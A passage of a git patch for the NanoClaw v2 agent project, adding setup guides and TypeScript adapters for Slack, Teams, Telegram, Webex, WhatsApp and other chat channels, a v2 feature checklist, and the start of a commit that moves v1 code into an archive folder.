+``` + +## Phase 4: Verify + +> Add the bot to a Slack channel, then send a message or @mention the bot. +> The bot should respond within a few seconds. + +## Removal + +1. Comment out `import './slack-v2.js'` in `src/channels/index.ts` +2. Remove `SLACK_BOT_TOKEN` and `SLACK_SIGNING_SECRET` from `.env` +3. `npm uninstall @chat-adapter/slack` +4. Rebuild and restart diff --git a/.claude/skills/add-teams-v2/SKILL.md b/.claude/skills/add-teams-v2/SKILL.md new file mode 100644 index 0000000..78f9650 --- /dev/null +++ b/.claude/skills/add-teams-v2/SKILL.md @@ -0,0 +1,75 @@ +--- +name: add-teams-v2 +description: Add Microsoft Teams channel integration to NanoClaw v2 via Chat SDK. +--- + +# Add Microsoft Teams Channel (v2) + +This skill adds Microsoft Teams support to NanoClaw v2 using the Chat SDK bridge. + +## Phase 1: Pre-flight + +Check if `src/channels/teams-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. + +## Phase 2: Apply Code Changes + +### Install the adapter package + +```bash +npm install @chat-adapter/teams +``` + +### Enable the channel + +Uncomment the Teams import in `src/channels/index.ts`: + +```typescript +import './teams-v2.js'; +``` + +### Build + +```bash +npm run build +``` + +## Phase 3: Setup + +### Create Teams Bot + +> 1. Go to [Azure Portal](https://portal.azure.com) > **Azure Bot** > **Create** +> 2. Fill in the bot details and create +> 3. Go to **Configuration**: +> - Messaging endpoint: `https://your-domain/webhook/teams` +> 4. Go to **Channels** > add **Microsoft Teams** +> 5. Note the **Microsoft App ID** and **Password** (from the bot's Azure AD app registration) + +### Configure environment + +Add to `.env`: + +```bash +TEAMS_APP_ID=your-app-id +TEAMS_APP_PASSWORD=your-app-password +``` + +Sync to container: `mkdir -p data/env && cp .env data/env/env` + +### Build and restart + +```bash +npm run build +launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS +# systemctl --user restart nanoclaw # Linux +``` + +## Phase 4: Verify + +> Add the bot to a Teams channel or send it a direct message. The bot should respond within a few seconds. + +## Removal + +1. Comment out `import './teams-v2.js'` in `src/channels/index.ts` +2. Remove `TEAMS_APP_ID` and `TEAMS_APP_PASSWORD` from `.env` +3. `npm uninstall @chat-adapter/teams` +4. Rebuild and restart diff --git a/.claude/skills/add-telegram-v2/SKILL.md b/.claude/skills/add-telegram-v2/SKILL.md new file mode 100644 index 0000000..7bcc079 --- /dev/null +++ b/.claude/skills/add-telegram-v2/SKILL.md @@ -0,0 +1,82 @@ +--- +name: add-telegram-v2 +description: Add Telegram channel integration to NanoClaw v2 via Chat SDK. +--- + +# Add Telegram Channel (v2) + +This skill adds Telegram support to NanoClaw v2 using the Chat SDK bridge. + +## Phase 1: Pre-flight + +Check if `src/channels/telegram-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. + +## Phase 2: Apply Code Changes + +### Install the adapter package + +```bash +npm install @chat-adapter/telegram +``` + +### Enable the channel + +Uncomment the Telegram import in `src/channels/index.ts`: + +```typescript +import './telegram-v2.js'; +``` + +### Build + +```bash +npm run build +``` + +## Phase 3: Setup + +### Create Telegram Bot (if needed) + +> 1. Open Telegram and search for `@BotFather` +> 2. Send `/newbot` and follow the prompts: +> - Bot name: Something friendly (e.g., "NanoClaw Assistant") +> - Bot username: Must end with "bot" (e.g., "nanoclaw_bot") +> 3. Copy the bot token (looks like `123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11`) + +### Disable Group Privacy (for group chats) + +> **Important for group chats**: By default, Telegram bots only see @mentions and commands in groups. To let the bot see all messages: +> +> 1. Open `@BotFather` > `/mybots` > select your bot +> 2. **Bot Settings** > **Group Privacy** > **Turn off** + +### Configure environment + +Add to `.env`: + +```bash +TELEGRAM_BOT_TOKEN=your-bot-token +``` + +Sync to container: `mkdir -p data/env && cp .env data/env/env` + +### Build and restart + +```bash +npm run build +launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS +# systemctl --user restart nanoclaw # Linux +``` + +## Phase 4: Verify + +> Send a message to your bot in Telegram (search for its username). +> For groups: add the bot to a group and send a message. +> The bot should respond within a few seconds. + +## Removal + +1. Comment out `import './telegram-v2.js'` in `src/channels/index.ts` +2. Remove `TELEGRAM_BOT_TOKEN` from `.env` +3. `npm uninstall @chat-adapter/telegram` +4. Rebuild and restart diff --git a/.claude/skills/add-webex-v2/SKILL.md b/.claude/skills/add-webex-v2/SKILL.md new file mode 100644 index 0000000..65f0dcf --- /dev/null +++ b/.claude/skills/add-webex-v2/SKILL.md @@ -0,0 +1,75 @@ +--- +name: add-webex-v2 +description: Add Webex channel integration to NanoClaw v2 via Chat SDK. +--- + +# Add Webex Channel (v2) + +This skill adds Cisco Webex support to NanoClaw v2 using the Chat SDK bridge. + +## Phase 1: Pre-flight + +Check if `src/channels/webex-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. + +## Phase 2: Apply Code Changes + +### Install the adapter package + +```bash +npm install @bitbasti/chat-adapter-webex +``` + +### Enable the channel + +Uncomment the Webex import in `src/channels/index.ts`: + +```typescript +import './webex-v2.js'; +``` + +### Build + +```bash +npm run build +``` + +## Phase 3: Setup + +### Create Webex Bot + +> 1. Go to [developer.webex.com](https://developer.webex.com/my-apps/new/bot) +> 2. Create a new bot and copy the **Bot Access Token** +> 3. Set up a webhook: +> - Use the Webex API to create a webhook pointing to `https://your-domain/webhook/webex` +> - Or use the Webex Developer Portal +> - Set a webhook secret for signature verification + +### Configure environment + +Add to `.env`: + +```bash +WEBEX_BOT_TOKEN=your-bot-token +WEBEX_WEBHOOK_SECRET=your-webhook-secret +``` + +Sync to container: `mkdir -p data/env && cp .env data/env/env` + +### Build and restart + +```bash +npm run build +launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS +# systemctl --user restart nanoclaw # Linux +``` + +## Phase 4: Verify + +> Add the bot to a Webex space or send it a direct message. The bot should respond within a few seconds. + +## Removal + +1. Comment out `import './webex-v2.js'` in `src/channels/index.ts` +2. Remove `WEBEX_BOT_TOKEN` and `WEBEX_WEBHOOK_SECRET` from `.env` +3. `npm uninstall @bitbasti/chat-adapter-webex` +4. Rebuild and restart diff --git a/.claude/skills/add-whatsapp-cloud-v2/SKILL.md b/.claude/skills/add-whatsapp-cloud-v2/SKILL.md new file mode 100644 index 0000000..32a08ae --- /dev/null +++ b/.claude/skills/add-whatsapp-cloud-v2/SKILL.md @@ -0,0 +1,82 @@ +--- +name: add-whatsapp-cloud-v2 +description: Add WhatsApp Business Cloud API channel to NanoClaw v2 via Chat SDK. Official Meta API (not Baileys). +--- + +# Add WhatsApp Cloud API Channel (v2) + +This skill adds WhatsApp support via the official Meta WhatsApp Business Cloud API. This is different from the Baileys-based WhatsApp adapter (which uses WhatsApp Web protocol). + +## Phase 1: Pre-flight + +Check if `src/channels/whatsapp-cloud-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. + +## Phase 2: Apply Code Changes + +### Install the adapter package + +```bash +npm install @chat-adapter/whatsapp +``` + +### Enable the channel + +Uncomment the WhatsApp Cloud API import in `src/channels/index.ts`: + +```typescript +import './whatsapp-cloud-v2.js'; +``` + +### Build + +```bash +npm run build +``` + +## Phase 3: Setup + +### Create WhatsApp Business App + +> 1. Go to [Meta for Developers](https://developers.facebook.com/apps/) and create an app (type: Business) +> 2. Add the **WhatsApp** product +> 3. Go to **WhatsApp** > **API Setup**: +> - Note the **Phone Number ID** (not the phone number itself) +> - Generate a **permanent System User access token** with `whatsapp_business_messaging` permission +> 4. Go to **WhatsApp** > **Configuration**: +> - Set webhook URL: `https://your-domain/webhook/whatsapp` +> - Set a **Verify Token** (any random string you choose) +> - Subscribe to webhook fields: `messages` +> 5. Copy the **App Secret** from **Settings** > **Basic** + +### Configure environment + +Add to `.env`: + +```bash +WHATSAPP_ACCESS_TOKEN=your-system-user-access-token +WHATSAPP_PHONE_NUMBER_ID=your-phone-number-id +WHATSAPP_APP_SECRET=your-app-secret +WHATSAPP_VERIFY_TOKEN=your-verify-token +``` + +Sync to container: `mkdir -p data/env && cp .env data/env/env` + +### Build and restart + +```bash +npm run build +launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS +# systemctl --user restart nanoclaw # Linux +``` + +## Phase 4: Verify + +> Send a message to your WhatsApp Business number. The bot should respond within a few seconds. +> Note: WhatsApp Cloud API only supports 1:1 DMs, not group chats. + +## Removal + +1. Comment out `import './whatsapp-cloud-v2.js'` in `src/channels/index.ts` +2. Remove `WHATSAPP_ACCESS_TOKEN`, `WHATSAPP_PHONE_NUMBER_ID`, `WHATSAPP_APP_SECRET`, `WHATSAPP_VERIFY_TOKEN` from `.env` +3. `npm uninstall @chat-adapter/whatsapp` +4. Rebuild and restart diff --git a/docs/v2-checklist.md b/docs/v2-checklist.md new file mode 100644 index 0000000..80f91d9 --- /dev/null +++ b/docs/v2-checklist.md @@ -0,0 +1,189 @@ +# NanoClaw v2 Checklist + +Status: [x] done, [~] partial, [ ] not started + +--- + +## Core Architecture + +- [x] Session DB replaces IPC (messages_in / messages_out as sole IO) +- [x] Central DB (agent groups, messaging groups, sessions, routing) +- [x] Host sweep (stale detection, retry with backoff, recurrence scheduling) +- [x] Active delivery polling (1s for running sessions) +- [x] Sweep delivery polling (60s across all sessions) +- [x] Container runner with session DB mounting +- [x] Per-session container lifecycle and idle timeout +- [x] Session resume (sessionId + resumeAt across queries) +- [x] Graceful shutdown (SIGTERM/SIGINT handlers) +- [x] Orphan container cleanup on startup + +## Agent Runner (Container) + +- [x] Poll loop (pending messages, status transitions, idle detection) +- [x] Concurrent follow-up polling while agent is thinking +- [x] Message formatter (chat, task, webhook, system kinds) +- [x] Command categorization (admin, filtered, passthrough) +- [x] Transcript archiving (pre-compact hook) +- [x] XML message formatting with sender, timestamp +- [~] Media handling inbound (formatter references attachments, no download-from-URL) + +## Agent Providers + +- [x] Claude provider (Agent SDK, tool allowlist, message stream, session resume) +- [x] Mock provider (testing) +- [x] Provider factory +- [ ] Codex provider +- [ ] OpenCode provider + +## Channel Adapters + +- [x] Channel adapter interface (setup, deliver, teardown, typing) +- [x] Chat SDK bridge (generic, works with any Chat SDK adapter) +- [x] Chat SDK SQLite state adapter (KV, subscriptions, locks, lists) +- [x] Discord via Chat SDK +- [~] Slack via Chat SDK (adapter + skill written, not tested) +- [~] Telegram via Chat SDK (adapter + skill written, not tested) +- [~] Microsoft Teams via Chat SDK (adapter + skill written, not tested) +- [~] Google Chat via Chat SDK (adapter + skill written, not tested) +- [~] Linear via Chat SDK (adapter + skill written, not tested) +- [~] GitHub via Chat SDK (adapter + skill written, not tested) +- [~] WhatsApp Cloud API via Chat SDK (adapter + skill written, not tested) +- [~] Resend (email) via Chat SDK (adapter + skill written, not tested) +- [~] Matrix via Chat SDK (adapter + skill written, not tested) +- [~] Webex via Chat SDK (adapter + skill written, not tested) +- [~] iMessage via Chat SDK (adapter + skill written, not tested) +- [x] Backward compatibility with native channels (old adapters still work) +- [ ] Setup flow wired to v2 channels +- [ ] Setup communicates each group is a different agent, distinct names +- [ ] Setup vs production channel separation +- [ ] Generate visual diagram of customized instance at end of setup + +## Routing + +- [x] Inbound routing (platform ID + thread ID -> agent group -> session) +- [x] Auto-create messaging group on first message +- [x] Session resolution (shared vs per-thread modes) +- [x] Message writing to session DB with seq numbering +- [x] Container waking on new message +- [~] Trigger rule matching (router picks highest-priority agent, regex/mention matching TODO) + +## Rich Messaging + +- [x] Interactive cards with buttons (ask_user_question) +- [x] Native platform rendering (Discord embeds, buttons) +- [x] Message editing +- [x] Emoji reactions +- [x] File sending from agent (outbox -> delivery) +- [x] File upload delivery (buffer-based via adapter) +- [x] Markdown formatting +- [~] Formatted /usage, /context, /cost output (commands pass through, no rich card formatting) +- [ ] Context window visibility: show position in context, approaching compaction, when compaction happens, post-compaction state +- [ ] Threading and replies support + +## MCP Tools (Container) + +- [x] send_message (text, optional cross-channel targeting) +- [x] send_file (copy to outbox, write messages_out) +- [x] edit_message +- [x] add_reaction +- [x] send_card +- [x] ask_user_question (blocking poll for response) +- [x] schedule_task (with process_after and recurrence) +- [x] list_tasks +- [x] cancel_task / pause_task / resume_task +- [x] send_to_agent (writes message, routing incomplete) + +## Scheduling + +- [x] One-shot scheduled messages (process_after / deliver_after) +- [x] Recurring tasks via cron expressions +- [x] Host sweep picks up due messages and advances recurrence +- [x] Scheduled outbound messages (no container wake needed) +- [~] Pre-agent scripts (task kind with script field, documented but not verified) + +## Permissions and Approval Flows + +- [x] Admin user ID per group +- [x] Admin-only command filtering in container +- [ ] Approval flow (sensitive action -> card to admin -> approve/reject -> execute) +- [ ] Role definitions beyond admin (custom roles, per-group permissions) +- [ ] Configurable sensitive action list +- [ ] Non-main groups requesting sensitive actions +- [ ] Agent requests dependency/package install (persists via Dockerfile change, requires approval) +- [ ] Agent self-modification flow: + - [ ] Agent requests code changes by delegating to a builder agent + - [ ] Builder agent has write access to the requesting agent's code and Dockerfile + - [ ] Approval modes: approve per-edit as builder works, or approve full diff at the end + - [ ] Diff review card sent to admin showing all proposed changes + - [ ] On approval: apply edits, rebuild container image, restart agent + - [ ] On rejection: discard changes, notify requesting agent + +## Agent-to-Agent Communication + +- [~] send_to_agent MCP tool (writes message, host-side routing TODO) +- [ ] Host delivery to target agent's session DB +- [ ] Agent spawning a new sub-agent +- [ ] Internal-only agents (no channel attached) +- [ ] Permission delegation from parent to child agent +- [ ] Specialist sub-agents (browser agent, dev agent — user's agent delegates with request/approval) + +## In-Chat Agent Management + +- [x] /clear (resets session) +- [x] /compact (triggers context compaction) +- [~] /context (passes through, no rich formatting) +- [~] /usage (passes through, no rich formatting) +- [~] /cost (passes through, no rich formatting) +- [ ] Smooth session transitions: load context into new sessions, solve cold start problem +- [ ] MCP/package installation from chat +- [ ] Browse MCP marketplace / skills repository from chat + +## Webhook Ingestion + +- [ ] Generic webhook endpoint for external events +- [ ] GitHub webhook handling +- [ ] CI/CD notification handling +- [ ] Webhook -> messages_in routing + +## System Actions + +- [ ] register_group from inside agent (stub exists) +- [ ] reset_session from inside agent (stub exists) + +## Integrations + +- [ ] Vercel CLI integration in setup process +- [ ] Skills for deploying and managing Vercel websites from chat +- [ ] Office 365 integration (create/edit documents with inline suggestions) + +## Memory + +- [ ] Shared memory with approval flow (write to global memory requires admin approval) + +## Migration + +- [ ] v1 -> v2 migration skill +- [ ] Database migration (v1 SQLite -> v2 central DB + session DBs) +- [ ] Channel credential preservation +- [ ] Custom skill/code porting + +## Testing + +- [x] DB layer tests (agent groups, messaging groups, sessions, pending questions) +- [x] Channel registry tests +- [x] Poll loop / formatter tests +- [x] Integration test (container agent-runner) +- [x] Host core tests +- [ ] End-to-end flow tests (message in -> agent -> message out -> delivery) +- [ ] Delivery polling tests +- [ ] Host sweep tests (stale detection, recurrence) +- [ ] Multi-channel integration tests + +## Rollout + +- [ ] Internal testing across all channels +- [ ] Migration skill built and tested +- [ ] PR factory migrated as validation +- [ ] Blog post / announcement +- [ ] Video demos of key flows +- [ ] Vercel coordination diff --git a/src/channels/gchat-v2.ts b/src/channels/gchat-v2.ts new file mode 100644 index 0000000..48376f2 --- /dev/null +++ b/src/channels/gchat-v2.ts @@ -0,0 +1,20 @@ +/** + * Google Chat channel adapter (v2) — uses Chat SDK bridge. + * Self-registers on import. + */ +import { createGoogleChatAdapter } from '@chat-adapter/gchat'; + +import { readEnvFile } from '../env.js'; +import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { registerChannelAdapter } from './channel-registry.js'; + +registerChannelAdapter('gchat', { + factory: () => { + const env = readEnvFile(['GCHAT_CREDENTIALS']); + if (!env.GCHAT_CREDENTIALS) return null; + const gchatAdapter = createGoogleChatAdapter({ + credentials: JSON.parse(env.GCHAT_CREDENTIALS), + }); + return createChatSdkBridge({ adapter: gchatAdapter, concurrency: 'concurrent' }); + }, +}); diff --git a/src/channels/github-v2.ts b/src/channels/github-v2.ts new file mode 100644 index 0000000..19b90d2 --- /dev/null +++ b/src/channels/github-v2.ts @@ -0,0 +1,22 @@ +/** + * GitHub channel adapter (v2) — uses Chat SDK bridge. + * PR comment threads as conversations. + * Self-registers on import. + */ +import { createGitHubAdapter } from '@chat-adapter/github'; + +import { readEnvFile } from '../env.js'; +import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { registerChannelAdapter } from './channel-registry.js'; + +registerChannelAdapter('github', { + factory: () => { + const env = readEnvFile(['GITHUB_TOKEN', 'GITHUB_WEBHOOK_SECRET']); + if (!env.GITHUB_TOKEN) return null; + const githubAdapter = createGitHubAdapter({ + token: env.GITHUB_TOKEN, + webhookSecret: env.GITHUB_WEBHOOK_SECRET, + }); + return createChatSdkBridge({ adapter: githubAdapter, concurrency: 'queue' }); + }, +}); diff --git a/src/channels/imessage-v2.ts b/src/channels/imessage-v2.ts new file mode 100644 index 0000000..a31a76d --- /dev/null +++ b/src/channels/imessage-v2.ts @@ -0,0 +1,25 @@ +/** + * iMessage channel adapter (v2) — uses Chat SDK bridge. + * Supports local mode (macOS Full Disk Access) and remote mode (Photon API). + * Self-registers on import. + */ +import { createiMessageAdapter } from 'chat-adapter-imessage'; + +import { readEnvFile } from '../env.js'; +import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { registerChannelAdapter } from './channel-registry.js'; + +registerChannelAdapter('imessage', { + factory: () => { + const env = readEnvFile(['IMESSAGE_ENABLED', 'IMESSAGE_LOCAL', 'IMESSAGE_SERVER_URL', 'IMESSAGE_API_KEY']); + const isLocal = env.IMESSAGE_LOCAL !== 'false'; + if (isLocal && !env.IMESSAGE_ENABLED) return null; + if (!isLocal && !env.IMESSAGE_SERVER_URL) return null; + const imessageAdapter = createiMessageAdapter({ + local: isLocal, + serverUrl: env.IMESSAGE_SERVER_URL, + apiKey: env.IMESSAGE_API_KEY, + }); + return createChatSdkBridge({ adapter: imessageAdapter, concurrency: 'concurrent' }); + }, +}); diff --git a/src/channels/index.ts b/src/channels/index.ts index 44f4f55..bad8090 100644 --- a/src/channels/index.ts +++ b/src/channels/index.ts @@ -1,12 +1,42 @@ // Channel self-registration barrel file. -// Each import triggers the channel module's registerChannel() call. +// Each import triggers the channel module's registerChannelAdapter() call. // discord - -// gmail +// import './discord-v2.js'; // slack +// import './slack-v2.js'; // telegram +// import './telegram-v2.js'; -// whatsapp +// github +// import './github-v2.js'; + +// linear +// import './linear-v2.js'; + +// google chat +// import './gchat-v2.js'; + +// microsoft teams +// import './teams-v2.js'; + +// whatsapp cloud api +// import './whatsapp-cloud-v2.js'; + +// resend (email) +// import './resend-v2.js'; + +// matrix +// import './matrix-v2.js'; + +// webex +// import './webex-v2.js'; + +// imessage +// import './imessage-v2.js'; + +// gmail (native, no Chat SDK) + +// whatsapp baileys (native, no Chat SDK) diff --git a/src/channels/linear-v2.ts b/src/channels/linear-v2.ts new file mode 100644 index 0000000..11014f8 --- /dev/null +++ b/src/channels/linear-v2.ts @@ -0,0 +1,22 @@ +/** + * Linear channel adapter (v2) — uses Chat SDK bridge. + * Issue comment threads as conversations. + * Self-registers on import. + */ +import { createLinearAdapter } from '@chat-adapter/linear'; + +import { readEnvFile } from '../env.js'; +import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { registerChannelAdapter } from './channel-registry.js'; + +registerChannelAdapter('linear', { + factory: () => { + const env = readEnvFile(['LINEAR_API_KEY', 'LINEAR_WEBHOOK_SECRET']); + if (!env.LINEAR_API_KEY) return null; + const linearAdapter = createLinearAdapter({ + apiKey: env.LINEAR_API_KEY, + webhookSecret: env.LINEAR_WEBHOOK_SECRET, + }); + return createChatSdkBridge({ adapter: linearAdapter, concurrency: 'queue' }); + }, +}); diff --git a/src/channels/matrix-v2.ts b/src/channels/matrix-v2.ts new file mode 100644 index 0000000..a286fda --- /dev/null +++ b/src/channels/matrix-v2.ts @@ -0,0 +1,23 @@ +/** + * Matrix channel adapter (v2) — uses Chat SDK bridge. + * Self-registers on import. + */ +import { createMatrixAdapter } from '@beeper/chat-adapter-matrix'; + +import { readEnvFile } from '../env.js'; +import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { registerChannelAdapter } from './channel-registry.js'; + +registerChannelAdapter('matrix', { + factory: () => { + const env = readEnvFile(['MATRIX_BASE_URL', 'MATRIX_ACCESS_TOKEN', 'MATRIX_USER_ID', 'MATRIX_BOT_USERNAME']); + if (!env.MATRIX_BASE_URL) return null; + // Matrix adapter reads from process.env directly + process.env.MATRIX_BASE_URL = env.MATRIX_BASE_URL; + if (env.MATRIX_ACCESS_TOKEN) process.env.MATRIX_ACCESS_TOKEN = env.MATRIX_ACCESS_TOKEN; + if (env.MATRIX_USER_ID) process.env.MATRIX_USER_ID = env.MATRIX_USER_ID; + if (env.MATRIX_BOT_USERNAME) process.env.MATRIX_BOT_USERNAME = env.MATRIX_BOT_USERNAME; + const matrixAdapter = createMatrixAdapter(); + return createChatSdkBridge({ adapter: matrixAdapter, concurrency: 'concurrent' }); + }, +}); diff --git a/src/channels/resend-v2.ts b/src/channels/resend-v2.ts new file mode 100644 index 0000000..5dfe5ab --- /dev/null +++ b/src/channels/resend-v2.ts @@ -0,0 +1,23 @@ +/** + * Resend (email) channel adapter (v2) — uses Chat SDK bridge. + * Self-registers on import. + */ +import { createResendAdapter } from '@resend/chat-sdk-adapter'; + +import { readEnvFile } from '../env.js'; +import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { registerChannelAdapter } from './channel-registry.js'; + +registerChannelAdapter('resend', { + factory: () => { + const env = readEnvFile(['RESEND_API_KEY', 'RESEND_FROM_ADDRESS', 'RESEND_FROM_NAME', 'RESEND_WEBHOOK_SECRET']); + if (!env.RESEND_API_KEY) return null; + const resendAdapter = createResendAdapter({ + apiKey: env.RESEND_API_KEY, + fromAddress: env.RESEND_FROM_ADDRESS, + fromName: env.RESEND_FROM_NAME, + webhookSecret: env.RESEND_WEBHOOK_SECRET, + }); + return createChatSdkBridge({ adapter: resendAdapter, concurrency: 'queue' }); + }, +}); diff --git a/src/channels/slack-v2.ts b/src/channels/slack-v2.ts new file mode 100644 index 0000000..1413c05 --- /dev/null +++ b/src/channels/slack-v2.ts @@ -0,0 +1,21 @@ +/** + * Slack channel adapter (v2) — uses Chat SDK bridge. + * Self-registers on import. + */ +import { createSlackAdapter } from '@chat-adapter/slack'; + +import { readEnvFile } from '../env.js'; +import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { registerChannelAdapter } from './channel-registry.js'; + +registerChannelAdapter('slack', { + factory: () => { + const env = readEnvFile(['SLACK_BOT_TOKEN', 'SLACK_SIGNING_SECRET']); + if (!env.SLACK_BOT_TOKEN) return null; + const slackAdapter = createSlackAdapter({ + botToken: env.SLACK_BOT_TOKEN, + signingSecret: env.SLACK_SIGNING_SECRET, + }); + return createChatSdkBridge({ adapter: slackAdapter, concurrency: 'concurrent' }); + }, +}); diff --git a/src/channels/teams-v2.ts b/src/channels/teams-v2.ts new file mode 100644 index 0000000..591c5c7 --- /dev/null +++ b/src/channels/teams-v2.ts @@ -0,0 +1,21 @@ +/** + * Microsoft Teams channel adapter (v2) — uses Chat SDK bridge. + * Self-registers on import. + */ +import { createTeamsAdapter } from '@chat-adapter/teams'; + +import { readEnvFile } from '../env.js'; +import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { registerChannelAdapter } from './channel-registry.js'; + +registerChannelAdapter('teams', { + factory: () => { + const env = readEnvFile(['TEAMS_APP_ID', 'TEAMS_APP_PASSWORD']); + if (!env.TEAMS_APP_ID) return null; + const teamsAdapter = createTeamsAdapter({ + appId: env.TEAMS_APP_ID, + appPassword: env.TEAMS_APP_PASSWORD, + }); + return createChatSdkBridge({ adapter: teamsAdapter, concurrency: 'concurrent' }); + }, +}); diff --git a/src/channels/telegram-v2.ts b/src/channels/telegram-v2.ts new file mode 100644 index 0000000..c4ae5fe --- /dev/null +++ b/src/channels/telegram-v2.ts @@ -0,0 +1,21 @@ +/** + * Telegram channel adapter (v2) — uses Chat SDK bridge. + * Self-registers on import. + */ +import { createTelegramAdapter } from '@chat-adapter/telegram'; + +import { readEnvFile } from '../env.js'; +import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { registerChannelAdapter } from './channel-registry.js'; + +registerChannelAdapter('telegram', { + factory: () => { + const env = readEnvFile(['TELEGRAM_BOT_TOKEN']); + if (!env.TELEGRAM_BOT_TOKEN) return null; + const telegramAdapter = createTelegramAdapter({ + botToken: env.TELEGRAM_BOT_TOKEN, + mode: 'polling', + }); + return createChatSdkBridge({ adapter: telegramAdapter, concurrency: 'concurrent' }); + }, +}); diff --git a/src/channels/webex-v2.ts b/src/channels/webex-v2.ts new file mode 100644 index 0000000..63f1870 --- /dev/null +++ b/src/channels/webex-v2.ts @@ -0,0 +1,21 @@ +/** + * Webex channel adapter (v2) — uses Chat SDK bridge. + * Self-registers on import. + */ +import { createWebexAdapter } from '@bitbasti/chat-adapter-webex'; + +import { readEnvFile } from '../env.js'; +import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { registerChannelAdapter } from './channel-registry.js'; + +registerChannelAdapter('webex', { + factory: () => { + const env = readEnvFile(['WEBEX_BOT_TOKEN', 'WEBEX_WEBHOOK_SECRET']); + if (!env.WEBEX_BOT_TOKEN) return null; + const webexAdapter = createWebexAdapter({ + botToken: env.WEBEX_BOT_TOKEN, + webhookSecret: env.WEBEX_WEBHOOK_SECRET, + }); + return createChatSdkBridge({ adapter: webexAdapter, concurrency: 'concurrent' }); + }, +}); diff --git a/src/channels/whatsapp-cloud-v2.ts b/src/channels/whatsapp-cloud-v2.ts new file mode 100644 index 0000000..74b8160 --- /dev/null +++ b/src/channels/whatsapp-cloud-v2.ts @@ -0,0 +1,24 @@ +/** + * WhatsApp Cloud API channel adapter (v2) — uses Chat SDK bridge. + * Uses the official Meta WhatsApp Business Cloud API (not Baileys). + * Self-registers on import. + */ +import { createWhatsAppAdapter } from '@chat-adapter/whatsapp'; + +import { readEnvFile } from '../env.js'; +import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { registerChannelAdapter } from './channel-registry.js'; + +registerChannelAdapter('whatsapp-cloud', { + factory: () => { + const env = readEnvFile(['WHATSAPP_ACCESS_TOKEN', 'WHATSAPP_PHONE_NUMBER_ID', 'WHATSAPP_APP_SECRET', 'WHATSAPP_VERIFY_TOKEN']); + if (!env.WHATSAPP_ACCESS_TOKEN) return null; + const whatsappAdapter = createWhatsAppAdapter({ + accessToken: env.WHATSAPP_ACCESS_TOKEN, + phoneNumberId: env.WHATSAPP_PHONE_NUMBER_ID, + appSecret: env.WHATSAPP_APP_SECRET, + verifyToken: env.WHATSAPP_VERIFY_TOKEN, + }); + return createChatSdkBridge({ adapter: whatsappAdapter, concurrency: 'concurrent' }); + }, +}); From 9486d56b011cd3bd5d85f701366a98026e8477b7 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 11:40:36 +0300 Subject: [PATCH 022/295] v2: make v2 the main entry point, move v1 to src/v1/ MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Move all v1 files (index, router, container-runner, db, ipc, types, logger, channels/registry, and all utilities) to src/v1/ as a fully self-contained archive with no shared dependencies - Rename v2 files to remove -v2 suffix (index-v2.ts → index.ts, etc.) - Update all imports across v2 source, tests, and setup files - Migrate shared utilities (config, env, container-runtime, mount-security, timezone, group-folder) from pino logger to v2 log module - Migrate setup/ files from logger to log with argument order swap - Container agent-runner: move v1 entry to v1/, rename v2 to index.ts - Update setup skill to offer all 13 v2 channels - Install all Chat SDK adapter packages - dist/index.js now runs v2; dist/v1/index.js runs v1 Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/scheduled_tasks.lock | 1 + .claude/skills/add-gchat-v2/SKILL.md | 6 +- .claude/skills/add-github-v2/SKILL.md | 6 +- .claude/skills/add-imessage-v2/SKILL.md | 6 +- .claude/skills/add-linear-v2/SKILL.md | 6 +- .claude/skills/add-matrix-v2/SKILL.md | 6 +- .claude/skills/add-resend-v2/SKILL.md | 6 +- .claude/skills/add-slack-v2/SKILL.md | 6 +- .claude/skills/add-teams-v2/SKILL.md | 6 +- .claude/skills/add-telegram-v2/SKILL.md | 6 +- .claude/skills/add-webex-v2/SKILL.md | 6 +- .claude/skills/add-whatsapp-cloud-v2/SKILL.md | 6 +- .claude/skills/setup/SKILL.md | 43 +- container/agent-runner/src/index-v2.ts | 96 - container/agent-runner/src/index.ts | 762 +--- container/agent-runner/src/v1/index.ts | 736 ++++ .../src/{ => v1}/ipc-mcp-stdio.ts | 0 .../agent-runner/src/{ => v1}/mcp-tools.ts | 0 package-lock.json | 3923 ++++++++++++++++- package.json | 11 + setup/container.ts | 14 +- setup/environment.ts | 8 +- setup/groups.ts | 16 +- setup/index.ts | 4 +- setup/mounts.ts | 20 +- setup/register.ts | 20 +- setup/service.ts | 42 +- setup/timezone.ts | 4 +- setup/verify.ts | 8 +- src/channels/channel-registry.test.ts | 6 +- src/channels/{discord-v2.ts => discord.ts} | 0 src/channels/{gchat-v2.ts => gchat.ts} | 0 src/channels/{github-v2.ts => github.ts} | 0 src/channels/{imessage-v2.ts => imessage.ts} | 2 +- src/channels/index.ts | 24 +- src/channels/{linear-v2.ts => linear.ts} | 0 src/channels/{matrix-v2.ts => matrix.ts} | 0 src/channels/{resend-v2.ts => resend.ts} | 0 src/channels/{slack-v2.ts => slack.ts} | 0 src/channels/{teams-v2.ts => teams.ts} | 0 src/channels/{telegram-v2.ts => telegram.ts} | 0 src/channels/{webex-v2.ts => webex.ts} | 0 ...whatsapp-cloud-v2.ts => whatsapp-cloud.ts} | 7 +- src/container-runner-v2.ts | 277 -- src/container-runner.ts | 782 +--- src/container-runtime.test.ts | 27 